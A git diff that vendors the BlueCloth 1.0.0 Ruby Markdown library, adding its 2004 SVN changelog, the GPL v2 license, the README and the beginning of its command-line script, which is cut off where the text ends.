+- Tracked down and fixed another regexp engine overflow bug; added a new test, + datafile, and minimal testcase that illustrates it. + +------------------------------------------------------------------------ +r66 | ged | 2004-08-24 07:57:17 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r65 | ged | 2004-08-24 07:56:47 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to v1.0.0. +------------------------------------------------------------------------ +r64 | ged | 2004-08-24 07:53:32 -0700 (Tue, 24 Aug 2004) | 1 line + +- Updated to 20040824. +------------------------------------------------------------------------ +r63 | ged | 2004-08-24 07:52:05 -0700 (Tue, 24 Aug 2004) | 3 lines + +- Added CHANGES.xml to ignore property for root directory. + + +------------------------------------------------------------------------ +r62 | ged | 2004-08-24 07:48:44 -0700 (Tue, 24 Aug 2004) | 7 lines + +- Brought list of block-level tags up to date with Markdown 1.0's list +- Propagated fix for overflow to the other two block-match patterns. +- Abstracted list-item patterns out into constants to closer match Markdown's + code and to expose them for use in other code. +- Fixed indentation of
       blocks inside blockquotes.
      +- Added new tests for all of the above.
      +
      +------------------------------------------------------------------------
      +r61 | ged | 2004-08-22 12:28:23 -0700 (Sun, 22 Aug 2004) | 5 lines
      +
      +- Fixed re-engine overflow for all tested cases (thanks to Martin Chase
      +   for the fix).
      +- Wrote some additional tests to be sure the block-level html escaper is working
      +  after the above fix.
      +
      +------------------------------------------------------------------------
      +r60 | ged | 2004-08-22 12:26:25 -0700 (Sun, 22 Aug 2004) | 2 lines
      +
      +- Removed skip of overflow test.
      +
      +------------------------------------------------------------------------
      +r59 | ged | 2004-08-22 12:24:35 -0700 (Sun, 22 Aug 2004) | 2 lines
      +
      +- "Fixed" the test case so it overflows again.
      +
      +------------------------------------------------------------------------
      +r58 | deveiant | 2004-08-08 22:12:02 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Updated to 20040808.
      +
      +------------------------------------------------------------------------
      +r57 | deveiant | 2004-08-08 18:16:14 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Modified to work from wherever the test is run (RPA compat).
      +
      +------------------------------------------------------------------------
      +r56 | deveiant | 2004-08-08 18:15:57 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Modified to work from wherever the test is run (RPA compat).
      +
      +------------------------------------------------------------------------
      +r55 | deveiant | 2004-08-08 18:15:27 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Updated version attribute.
      +
      +------------------------------------------------------------------------
      +r54 | deveiant | 2004-08-08 18:14:58 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Brought markdown syntax up to date with Markdown 1.0fc1.
      +
      +------------------------------------------------------------------------
      +r53 | deveiant | 2004-08-08 18:13:16 -0700 (Sun, 08 Aug 2004) | 2 lines
      +
      +- Made the require-header work wherever the test is run from (RPA compat).
      +
      +------------------------------------------------------------------------
      +r51 | deveiant | 2004-06-21 08:20:59 -0700 (Mon, 21 Jun 2004) | 4 lines
      +
      +- Brought up to date with Markdown 1.0b7.
      +
      +- Ignore list properties on the base and docs directories updated.
      +
      +------------------------------------------------------------------------
      +r50 | deveiant | 2004-06-02 06:37:15 -0700 (Wed, 02 Jun 2004) | 1 line
      +
      +- Commented out non-functional --output option for now.
      +------------------------------------------------------------------------
      +r49 | deveiant | 2004-06-01 20:30:18 -0700 (Tue, 01 Jun 2004) | 2 lines
      +
      +Initial checkin.
      +
      +------------------------------------------------------------------------
      +r48 | deveiant | 2004-06-01 20:29:31 -0700 (Tue, 01 Jun 2004) | 2 lines
      +
      +- Added test for bug #574.
      +
      +------------------------------------------------------------------------
      +r47 | deveiant | 2004-06-01 20:21:04 -0700 (Tue, 01 Jun 2004) | 8 lines
      +
      +- Test for bug #620 - Unresolved reference-style links doubled the character
      +  immediately after them.
      +
      +- Added additional test email addresses, including ones that use extended latin
      +  charset.
      +
      +- Added bug reference to a test.
      +
      +------------------------------------------------------------------------
      +r46 | deveiant | 2004-06-01 20:19:41 -0700 (Tue, 01 Jun 2004) | 4 lines
      +
      +- Fix for bug #620 - Unresolved reference-style links doubled the character
      +  immediately after them.
      +
      +
      +------------------------------------------------------------------------
      +r45 | deveiant | 2004-05-13 19:43:17 -0700 (Thu, 13 May 2004) | 4 lines
      +
      +- Added tests for bug #568 (Two sets of bold text on one line doesn't render
      +  properly). Tests confirmed that two sets of bold text did work, but single
      +  characters being bolded does not.
      +
      +------------------------------------------------------------------------
      +r44 | deveiant | 2004-05-13 19:41:52 -0700 (Thu, 13 May 2004) | 2 lines
      +
      +- Fixed bug with bolding of single characters (bug #568).
      +
      +------------------------------------------------------------------------
      +r43 | deveiant | 2004-05-04 07:35:11 -0700 (Tue, 04 May 2004) | 2 lines
      +
      +- Additional fixes and tests for bug #537.
      +
      +------------------------------------------------------------------------
      +r41 | deveiant | 2004-04-29 20:40:38 -0700 (Thu, 29 Apr 2004) | 2 lines
      +
      +- Added bin/ directory.
      +
      +------------------------------------------------------------------------
      +r40 | deveiant | 2004-04-29 20:40:04 -0700 (Thu, 29 Apr 2004) | 2 lines
      +
      +- Set date.
      +
      +------------------------------------------------------------------------
      +r39 | deveiant | 2004-04-29 20:39:24 -0700 (Thu, 29 Apr 2004) | 3 lines
      +
      +- Added test for Bug #543 (Safe mode does not work when there are no left
      +  angle-brackets in the source).
      +
      +------------------------------------------------------------------------
      +r38 | deveiant | 2004-04-29 20:38:42 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Added test for email address encoding (Bug #537).
      +
      +- Added test for bug #541 (Leading line of codeblock with more than one tab
      +  width of indent mistakenly unindented).
      +
      +------------------------------------------------------------------------
      +r37 | deveiant | 2004-04-29 20:35:26 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Fix for bug #543 (Safe mode does not work when there are no left
      +  angle-brackets in the source).
      +
      +
      +
      +------------------------------------------------------------------------
      +r36 | deveiant | 2004-04-29 20:33:01 -0700 (Thu, 29 Apr 2004) | 5 lines
      +
      +- Fix for bug #541 (Leading line of codeblock with more than one tab
      +  width of indent mistakenly unindented)
      +
      +
      +
      +------------------------------------------------------------------------
      +r35 | deveiant | 2004-04-29 20:31:37 -0700 (Thu, 29 Apr 2004) | 3 lines
      +
      +- Fix for bug #537. Fix suggested by Marek Janukowicz.
      +
      +
      +------------------------------------------------------------------------
      +r32 | deveiant | 2004-04-22 21:47:42 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Temporary fixes until I have time to integrate SVN stuff.
      +
      +------------------------------------------------------------------------
      +r31 | deveiant | 2004-04-22 21:46:51 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Version bump.
      +
      +------------------------------------------------------------------------
      +r30 | deveiant | 2004-04-22 21:46:15 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Brought in line with most-recent release.
      +
      +------------------------------------------------------------------------
      +r29 | deveiant | 2004-04-22 21:40:50 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Version bump.
      +
      +------------------------------------------------------------------------
      +r28 | deveiant | 2004-04-22 21:39:05 -0700 (Thu, 22 Apr 2004) | 4 lines
      +
      +- Bugfixes for bugs 524 and 525. Thanks to David Heinemeier Hansson and Javier
      +  Goizueta for bug reports and fixes.
      +
      +
      +------------------------------------------------------------------------
      +r27 | deveiant | 2004-04-22 21:34:31 -0700 (Thu, 22 Apr 2004) | 2 lines
      +
      +- Test for bugs 524 and 525
      +
      +------------------------------------------------------------------------
      +r25 | deveiant | 2004-04-15 18:55:19 -0700 (Thu, 15 Apr 2004) | 1 line
      +
      +- Corrected version
      +------------------------------------------------------------------------
      +r24 | deveiant | 2004-04-15 18:53:52 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +- Brought Version up to date.
      +
      +------------------------------------------------------------------------
      +r23 | deveiant | 2004-04-15 18:52:17 -0700 (Thu, 15 Apr 2004) | 1 line
      +
      +- Updated ignore metadata.
      +------------------------------------------------------------------------
      +r22 | deveiant | 2004-04-15 18:51:14 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +Initial checkin.
      +
      +------------------------------------------------------------------------
      +r21 | deveiant | 2004-04-15 18:50:31 -0700 (Thu, 15 Apr 2004) | 6 lines
      +
      +- Changed tests/ pattern to catch all tests.
      +
      +- Added CHANGES.
      +
      +- Dropped MANIFEST.
      +
      +------------------------------------------------------------------------
      +r20 | deveiant | 2004-04-15 18:49:46 -0700 (Thu, 15 Apr 2004) | 2 lines
      +
      +- Added missing dependency check for devel-logger.
      +
      +------------------------------------------------------------------------
      +r19 | deveiant | 2004-04-15 18:49:12 -0700 (Thu, 15 Apr 2004) | 8 lines
      +
      +- Added contributors section to the header.
      +
      +- Integrated html- and style-filtering patch from Florian Gross .
      +
      +- Corrections to RedCloth-compatibility.
      +
      +- Removed log from renderstate, as it's an attribute of the string itself.
      +
      +------------------------------------------------------------------------
      +r18 | deveiant | 2004-04-15 18:48:27 -0700 (Thu, 15 Apr 2004) | 8 lines
      +
      +- Added contributors section to the header.
      +
      +- Integrated html- and style-filtering patch from Florian Gross .
      +
      +- Corrections to RedCloth-compatibility.
      +
      +- Removed log from renderstate, as it's an attribute of the string itself.
      +
      +------------------------------------------------------------------------
      +r15 | deveiant | 2004-04-11 23:02:54 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added keywords.
      +
      +
      +------------------------------------------------------------------------
      +r14 | deveiant | 2004-04-11 23:01:40 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Updated comments/added to-do marker.
      +
      +------------------------------------------------------------------------
      +r13 | deveiant | 2004-04-11 22:47:16 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Updated ignore list.
      +
      +
      +------------------------------------------------------------------------
      +r12 | deveiant | 2004-04-11 22:46:49 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +Initial checkin.
      +
      +
      +------------------------------------------------------------------------
      +r11 | deveiant | 2004-04-11 22:45:07 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added a time() function for timing bits of code.
      +
      +
      +------------------------------------------------------------------------
      +r10 | deveiant | 2004-04-11 22:43:10 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Changed keyword constants from CVS to SVN keywords.
      +
      +
      +------------------------------------------------------------------------
      +r9 | deveiant | 2004-04-11 22:29:37 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Changed location of keyword stuff, added URL keyword.
      +
      +
      +------------------------------------------------------------------------
      +r8 | deveiant | 2004-04-11 22:26:38 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Added the rest of the content.
      +
      +
      +------------------------------------------------------------------------
      +r7 | deveiant | 2004-04-11 22:21:47 -0700 (Sun, 11 Apr 2004) | 12 lines
      +
      +- Fixed license in header
      +
      +- Fixed error message in exception class with no second argument.
      +
      +- Removed unnecessary (and slllooowww) 'm' flag from HTML block matching
      +  patterns.
      +
      +- Fixed code-span scanning to match spans that occur at the beginning of the
      +  line.
      +
      +- Fixed error in code-span exception case.
      +
      +------------------------------------------------------------------------
      +r6 | deveiant | 2004-04-11 22:17:45 -0700 (Sun, 11 Apr 2004) | 3 lines
      +
      +- Renamed to reflect repurposing.
      +
      +
      +------------------------------------------------------------------------
      +r5 | deveiant | 2004-04-11 22:17:08 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Converted to bug-testing testcase.
      +
      +------------------------------------------------------------------------
      +r4 | deveiant | 2004-04-11 22:15:34 -0700 (Sun, 11 Apr 2004) | 2 lines
      +
      +- Added some mode code span tests to catch bugs.
      +
      +------------------------------------------------------------------------
      +r3 | deveiant | 2004-04-10 21:40:29 -0700 (Sat, 10 Apr 2004) | 2 lines
      +
      +- Updated dist/install utilities/libs.
      +
      +------------------------------------------------------------------------
      +r2 | deveiant | 2004-04-10 13:36:46 -0700 (Sat, 10 Apr 2004) | 1 line
      +
      +Removed markdown reference source
      +------------------------------------------------------------------------
      +r1 | deveiant | 2004-04-10 13:35:02 -0700 (Sat, 10 Apr 2004) | 1 line
      +
      +Initial checkin
      diff --git a/vendor/bluecloth-1.0.0/LICENSE b/vendor/bluecloth-1.0.0/LICENSE
      new file mode 100755
      index 00000000..04137b9b
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/LICENSE
      @@ -0,0 +1,340 @@
      +		    GNU GENERAL PUBLIC LICENSE
      +		       Version 2, June 1991
      +
      + Copyright (C) 1989, 1991 Free Software Foundation, Inc.
      +                       59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
      + Everyone is permitted to copy and distribute verbatim copies
      + of this license document, but changing it is not allowed.
      +
      +			    Preamble
      +
      +  The licenses for most software are designed to take away your
      +freedom to share and change it.  By contrast, the GNU General Public
      +License is intended to guarantee your freedom to share and change free
      +software--to make sure the software is free for all its users.  This
      +General Public License applies to most of the Free Software
      +Foundation's software and to any other program whose authors commit to
      +using it.  (Some other Free Software Foundation software is covered by
      +the GNU Library General Public License instead.)  You can apply it to
      +your programs, too.
      +
      +  When we speak of free software, we are referring to freedom, not
      +price.  Our General Public Licenses are designed to make sure that you
      +have the freedom to distribute copies of free software (and charge for
      +this service if you wish), that you receive source code or can get it
      +if you want it, that you can change the software or use pieces of it
      +in new free programs; and that you know you can do these things.
      +
      +  To protect your rights, we need to make restrictions that forbid
      +anyone to deny you these rights or to ask you to surrender the rights.
      +These restrictions translate to certain responsibilities for you if you
      +distribute copies of the software, or if you modify it.
      +
      +  For example, if you distribute copies of such a program, whether
      +gratis or for a fee, you must give the recipients all the rights that
      +you have.  You must make sure that they, too, receive or can get the
      +source code.  And you must show them these terms so they know their
      +rights.
      +
      +  We protect your rights with two steps: (1) copyright the software, and
      +(2) offer you this license which gives you legal permission to copy,
      +distribute and/or modify the software.
      +
      +  Also, for each author's protection and ours, we want to make certain
      +that everyone understands that there is no warranty for this free
      +software.  If the software is modified by someone else and passed on, we
      +want its recipients to know that what they have is not the original, so
      +that any problems introduced by others will not reflect on the original
      +authors' reputations.
      +
      +  Finally, any free program is threatened constantly by software
      +patents.  We wish to avoid the danger that redistributors of a free
      +program will individually obtain patent licenses, in effect making the
      +program proprietary.  To prevent this, we have made it clear that any
      +patent must be licensed for everyone's free use or not licensed at all.
      +
      +  The precise terms and conditions for copying, distribution and
      +modification follow.
      +
      +		    GNU GENERAL PUBLIC LICENSE
      +   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
      +
      +  0. This License applies to any program or other work which contains
      +a notice placed by the copyright holder saying it may be distributed
      +under the terms of this General Public License.  The "Program", below,
      +refers to any such program or work, and a "work based on the Program"
      +means either the Program or any derivative work under copyright law:
      +that is to say, a work containing the Program or a portion of it,
      +either verbatim or with modifications and/or translated into another
      +language.  (Hereinafter, translation is included without limitation in
      +the term "modification".)  Each licensee is addressed as "you".
      +
      +Activities other than copying, distribution and modification are not
      +covered by this License; they are outside its scope.  The act of
      +running the Program is not restricted, and the output from the Program
      +is covered only if its contents constitute a work based on the
      +Program (independent of having been made by running the Program).
      +Whether that is true depends on what the Program does.
      +
      +  1. You may copy and distribute verbatim copies of the Program's
      +source code as you receive it, in any medium, provided that you
      +conspicuously and appropriately publish on each copy an appropriate
      +copyright notice and disclaimer of warranty; keep intact all the
      +notices that refer to this License and to the absence of any warranty;
      +and give any other recipients of the Program a copy of this License
      +along with the Program.
      +
      +You may charge a fee for the physical act of transferring a copy, and
      +you may at your option offer warranty protection in exchange for a fee.
      +
      +  2. You may modify your copy or copies of the Program or any portion
      +of it, thus forming a work based on the Program, and copy and
      +distribute such modifications or work under the terms of Section 1
      +above, provided that you also meet all of these conditions:
      +
      +    a) You must cause the modified files to carry prominent notices
      +    stating that you changed the files and the date of any change.
      +
      +    b) You must cause any work that you distribute or publish, that in
      +    whole or in part contains or is derived from the Program or any
      +    part thereof, to be licensed as a whole at no charge to all third
      +    parties under the terms of this License.
      +
      +    c) If the modified program normally reads commands interactively
      +    when run, you must cause it, when started running for such
      +    interactive use in the most ordinary way, to print or display an
      +    announcement including an appropriate copyright notice and a
      +    notice that there is no warranty (or else, saying that you provide
      +    a warranty) and that users may redistribute the program under
      +    these conditions, and telling the user how to view a copy of this
      +    License.  (Exception: if the Program itself is interactive but
      +    does not normally print such an announcement, your work based on
      +    the Program is not required to print an announcement.)
      +
      +These requirements apply to the modified work as a whole.  If
      +identifiable sections of that work are not derived from the Program,
      +and can be reasonably considered independent and separate works in
      +themselves, then this License, and its terms, do not apply to those
      +sections when you distribute them as separate works.  But when you
      +distribute the same sections as part of a whole which is a work based
      +on the Program, the distribution of the whole must be on the terms of
      +this License, whose permissions for other licensees extend to the
      +entire whole, and thus to each and every part regardless of who wrote it.
      +
      +Thus, it is not the intent of this section to claim rights or contest
      +your rights to work written entirely by you; rather, the intent is to
      +exercise the right to control the distribution of derivative or
      +collective works based on the Program.
      +
      +In addition, mere aggregation of another work not based on the Program
      +with the Program (or with a work based on the Program) on a volume of
      +a storage or distribution medium does not bring the other work under
      +the scope of this License.
      +
      +  3. You may copy and distribute the Program (or a work based on it,
      +under Section 2) in object code or executable form under the terms of
      +Sections 1 and 2 above provided that you also do one of the following:
      +
      +    a) Accompany it with the complete corresponding machine-readable
      +    source code, which must be distributed under the terms of Sections
      +    1 and 2 above on a medium customarily used for software interchange; or,
      +
      +    b) Accompany it with a written offer, valid for at least three
      +    years, to give any third party, for a charge no more than your
      +    cost of physically performing source distribution, a complete
      +    machine-readable copy of the corresponding source code, to be
      +    distributed under the terms of Sections 1 and 2 above on a medium
      +    customarily used for software interchange; or,
      +
      +    c) Accompany it with the information you received as to the offer
      +    to distribute corresponding source code.  (This alternative is
      +    allowed only for noncommercial distribution and only if you
      +    received the program in object code or executable form with such
      +    an offer, in accord with Subsection b above.)
      +
      +The source code for a work means the preferred form of the work for
      +making modifications to it.  For an executable work, complete source
      +code means all the source code for all modules it contains, plus any
      +associated interface definition files, plus the scripts used to
      +control compilation and installation of the executable.  However, as a
      +special exception, the source code distributed need not include
      +anything that is normally distributed (in either source or binary
      +form) with the major components (compiler, kernel, and so on) of the
      +operating system on which the executable runs, unless that component
      +itself accompanies the executable.
      +
      +If distribution of executable or object code is made by offering
      +access to copy from a designated place, then offering equivalent
      +access to copy the source code from the same place counts as
      +distribution of the source code, even though third parties are not
      +compelled to copy the source along with the object code.
      +
      +  4. You may not copy, modify, sublicense, or distribute the Program
      +except as expressly provided under this License.  Any attempt
      +otherwise to copy, modify, sublicense or distribute the Program is
      +void, and will automatically terminate your rights under this License.
      +However, parties who have received copies, or rights, from you under
      +this License will not have their licenses terminated so long as such
      +parties remain in full compliance.
      +
      +  5. You are not required to accept this License, since you have not
      +signed it.  However, nothing else grants you permission to modify or
      +distribute the Program or its derivative works.  These actions are
      +prohibited by law if you do not accept this License.  Therefore, by
      +modifying or distributing the Program (or any work based on the
      +Program), you indicate your acceptance of this License to do so, and
      +all its terms and conditions for copying, distributing or modifying
      +the Program or works based on it.
      +
      +  6. Each time you redistribute the Program (or any work based on the
      +Program), the recipient automatically receives a license from the
      +original licensor to copy, distribute or modify the Program subject to
      +these terms and conditions.  You may not impose any further
      +restrictions on the recipients' exercise of the rights granted herein.
      +You are not responsible for enforcing compliance by third parties to
      +this License.
      +
      +  7. If, as a consequence of a court judgment or allegation of patent
      +infringement or for any other reason (not limited to patent issues),
      +conditions are imposed on you (whether by court order, agreement or
      +otherwise) that contradict the conditions of this License, they do not
      +excuse you from the conditions of this License.  If you cannot
      +distribute so as to satisfy simultaneously your obligations under this
      +License and any other pertinent obligations, then as a consequence you
      +may not distribute the Program at all.  For example, if a patent
      +license would not permit royalty-free redistribution of the Program by
      +all those who receive copies directly or indirectly through you, then
      +the only way you could satisfy both it and this License would be to
      +refrain entirely from distribution of the Program.
      +
      +If any portion of this section is held invalid or unenforceable under
      +any particular circumstance, the balance of the section is intended to
      +apply and the section as a whole is intended to apply in other
      +circumstances.
      +
      +It is not the purpose of this section to induce you to infringe any
      +patents or other property right claims or to contest validity of any
      +such claims; this section has the sole purpose of protecting the
      +integrity of the free software distribution system, which is
      +implemented by public license practices.  Many people have made
      +generous contributions to the wide range of software distributed
      +through that system in reliance on consistent application of that
      +system; it is up to the author/donor to decide if he or she is willing
      +to distribute software through any other system and a licensee cannot
      +impose that choice.
      +
      +This section is intended to make thoroughly clear what is believed to
      +be a consequence of the rest of this License.
      +
      +  8. If the distribution and/or use of the Program is restricted in
      +certain countries either by patents or by copyrighted interfaces, the
      +original copyright holder who places the Program under this License
      +may add an explicit geographical distribution limitation excluding
      +those countries, so that distribution is permitted only in or among
      +countries not thus excluded.  In such case, this License incorporates
      +the limitation as if written in the body of this License.
      +
      +  9. The Free Software Foundation may publish revised and/or new versions
      +of the General Public License from time to time.  Such new versions will
      +be similar in spirit to the present version, but may differ in detail to
      +address new problems or concerns.
      +
      +Each version is given a distinguishing version number.  If the Program
      +specifies a version number of this License which applies to it and "any
      +later version", you have the option of following the terms and conditions
      +either of that version or of any later version published by the Free
      +Software Foundation.  If the Program does not specify a version number of
      +this License, you may choose any version ever published by the Free Software
      +Foundation.
      +
      +  10. If you wish to incorporate parts of the Program into other free
      +programs whose distribution conditions are different, write to the author
      +to ask for permission.  For software which is copyrighted by the Free
      +Software Foundation, write to the Free Software Foundation; we sometimes
      +make exceptions for this.  Our decision will be guided by the two goals
      +of preserving the free status of all derivatives of our free software and
      +of promoting the sharing and reuse of software generally.
      +
      +			    NO WARRANTY
      +
      +  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
      +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
      +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
      +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
      +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
      +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
      +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
      +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
      +REPAIR OR CORRECTION.
      +
      +  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
      +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
      +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
      +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
      +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
      +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
      +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
      +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
      +POSSIBILITY OF SUCH DAMAGES.
      +
      +		     END OF TERMS AND CONDITIONS
      +
      +	    How to Apply These Terms to Your New Programs
      +
      +  If you develop a new program, and you want it to be of the greatest
      +possible use to the public, the best way to achieve this is to make it
      +free software which everyone can redistribute and change under these terms.
      +
      +  To do so, attach the following notices to the program.  It is safest
      +to attach them to the start of each source file to most effectively
      +convey the exclusion of warranty; and each file should have at least
      +the "copyright" line and a pointer to where the full notice is found.
      +
      +    
      +    Copyright (C)   
      +
      +    This program is free software; you can redistribute it and/or modify
      +    it under the terms of the GNU General Public License as published by
      +    the Free Software Foundation; either version 2 of the License, or
      +    (at your option) any later version.
      +
      +    This program is distributed in the hope that it will be useful,
      +    but WITHOUT ANY WARRANTY; without even the implied warranty of
      +    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
      +    GNU General Public License for more details.
      +
      +    You should have received a copy of the GNU General Public License
      +    along with this program; if not, write to the Free Software
      +    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
      +
      +
      +Also add information on how to contact you by electronic and paper mail.
      +
      +If the program is interactive, make it output a short notice like this
      +when it starts in an interactive mode:
      +
      +    Gnomovision version 69, Copyright (C) year name of author
      +    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
      +    This is free software, and you are welcome to redistribute it
      +    under certain conditions; type `show c' for details.
      +
      +The hypothetical commands `show w' and `show c' should show the appropriate
      +parts of the General Public License.  Of course, the commands you use may
      +be called something other than `show w' and `show c'; they could even be
      +mouse-clicks or menu items--whatever suits your program.
      +
      +You should also get your employer (if you work as a programmer) or your
      +school, if any, to sign a "copyright disclaimer" for the program, if
      +necessary.  Here is a sample; alter the names:
      +
      +  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
      +  `Gnomovision' (which makes passes at compilers) written by James Hacker.
      +
      +  , 1 April 1989
      +  Ty Coon, President of Vice
      +
      +This General Public License does not permit incorporating your program into
      +proprietary programs.  If your program is a subroutine library, you may
      +consider it more useful to permit linking proprietary applications with the
      +library.  If this is what you want to do, use the GNU Library General
      +Public License instead of this License.
      diff --git a/vendor/bluecloth-1.0.0/README b/vendor/bluecloth-1.0.0/README
      new file mode 100755
      index 00000000..f4021044
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/README
      @@ -0,0 +1,99 @@
      +
      +BlueCloth
      +=========
      +
      +Version 1.0.0 - 2004/08/24
      +
      +Original version by John Gruber .  
      +Ruby port by Michael Granger .
      +
      +BlueCloth is a Ruby implementation of [Markdown][1], a text-to-HTML conversion
      +tool for web writers. To quote from the project page: Markdown allows you to
      +write using an easy-to-read, easy-to-write plain text format, then convert it to
      +structurally valid XHTML (or HTML).
      +
      +It borrows a naming convention and several helpings of interface from
      +[Redcloth][2], [Why the Lucky Stiff][3]'s processor for a similar text-to-HTML
      +conversion syntax called [Textile][4].
      +
      +
      +Installation
      +------------
      +
      +You can install this module either by running the included `install.rb` script,
      +or by simply copying `lib/bluecloth.rb` to a directory in your load path.
      +
      +
      +Dependencies
      +------------
      +
      +BlueCloth uses the `StringScanner` class from the `strscan` library, which comes
      +with Ruby 1.8.x and later or may be downloaded from the RAA for earlier
      +versions, and the `logger` library, which is also included in 1.8.x and later.
      +
      +
      +Example Usage
      +-------------
      +
      +The BlueCloth class is a subclass of Ruby's String, and can be used thusly:
      +
      +    bc = BlueCloth::new( str )
      +    puts bc.to_html
      +
      +This `README` file is an example of Markdown syntax. The sample program
      +`bluecloth` in the `bin/` directory can be used to convert this (or any other)
      +file with Markdown syntax into HTML:
      +
      +    $ bin/bluecloth README > README.html
      +
      +
      +Acknowledgements
      +----------------
      +
      +This library is a port of the canonical Perl one, and so owes most of its
      +functionality to its author, John Gruber. The bugs in this code are most
      +certainly an artifact of my porting it and not an artifact of the excellent code
      +from which it is derived.
      +
      +It also, as mentioned before, borrows its API liberally from RedCloth, both for
      +compatibility's sake, and because I think Why's code is beautiful. His excellent
      +code and peerless prose have been an inspiration to me, and this module is
      +intended as the sincerest flattery.
      +
      +Also contributing to any success this module may enjoy are those among my peers
      +who have taken the time to help out, either by submitting patches, testing, or
      +offering suggestions and review:
      +
      +* Martin Chase 
      +* Florian Gross 
      +
      +
      +Author/Legal
      +------------
      +
      +Original version:  
      +Copyright (c) 2003-2004 John Gruber  
      +  
      +All rights reserved.
      +
      +Ruby version:  
      +Copyright (c) 2004 The FaerieMUD Consortium
      +
      +BlueCloth is free software; you can redistribute it and/or modify it under the
      +terms of the GNU General Public License as published by the Free Software
      +Foundation; either version 2 of the License, or (at your option) any later
      +version.
      +
      +BlueCloth is distributed in the hope that it will be useful, but WITHOUT ANY
      +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
      +PARTICULAR PURPOSE.  See the GNU General Public License for more details.
      +
      +
      +  [1]: http://daringfireball.net/projects/markdown/
      +  [2]: http://www.whytheluckystiff.net/ruby/redcloth/
      +  [3]: http://www.whytheluckystiff.net/
      +  [4]: http://www.textism.com/tools/textile/
      +
      +
      +$Id: README,v 1.1 2005/01/07 23:01:51 alexeyv Exp $  
      +$URL: svn+ssh://svn.FaerieMUD.org/usr/local/svn/BlueCloth/trunk/README $
      diff --git a/vendor/bluecloth-1.0.0/bin/bluecloth b/vendor/bluecloth-1.0.0/bin/bluecloth
      new file mode 100755
      index 00000000..a57a0a0a
      --- /dev/null
      +++ b/vendor/bluecloth-1.0.0/bin/bluecloth
      @@ -0,0 +1,83 @@
      +#!/usr/bin/ruby
      +#
      +# = bluecloth
      +#
      +# Format one or more text files with the markdown formatter.
      +#
      +# = Synopsis
      +#
      +#   bluecloth [OPTIONS] [FILES]
      +#
      +# 
      +#
      +
      +BEGIN {
      +	require 'bluecloth'
      +	require 'optparse'
      +}
      +
      +DocumentWrapper = %{
      +
      +  %s
      +  
      +%s
      +  
      +
      +}
      +
      +def main
      +	fragment = false
      +	destination = '.'
      +
      +	ARGV.options do |oparser|
      +
      +		oparser.banner = "Usage: #$0 [OPTIONS] FILES"
      +
      +		# Debug mode
      +		oparser.on( "--debug", "-d", TrueClass, "Turn debugging output on" ) {
      +			$DEBUG = true
      +		}
      +
      +		# 'Fragment' mode
      +		oparser.on( "--fragment", "-f", TrueClass,
      +			"Output HTML fragments instead of whole documents" ) {
      +			fragment = true
      +		}
      +
      +		# Output destination
      +		#oparser.on( "--output=DESTINATION", "-o DESTINATION", String,
      +		#	"Write output to DESTINATION instead of the current directory" ) {|arg|
      +		#	destination = arg
      +		#}
      +
      +		oparser.parse!
      +	end
      +
      +	# Filter mode if no arguments
      +	ARGV.push( "-" ) if ARGV.empty?
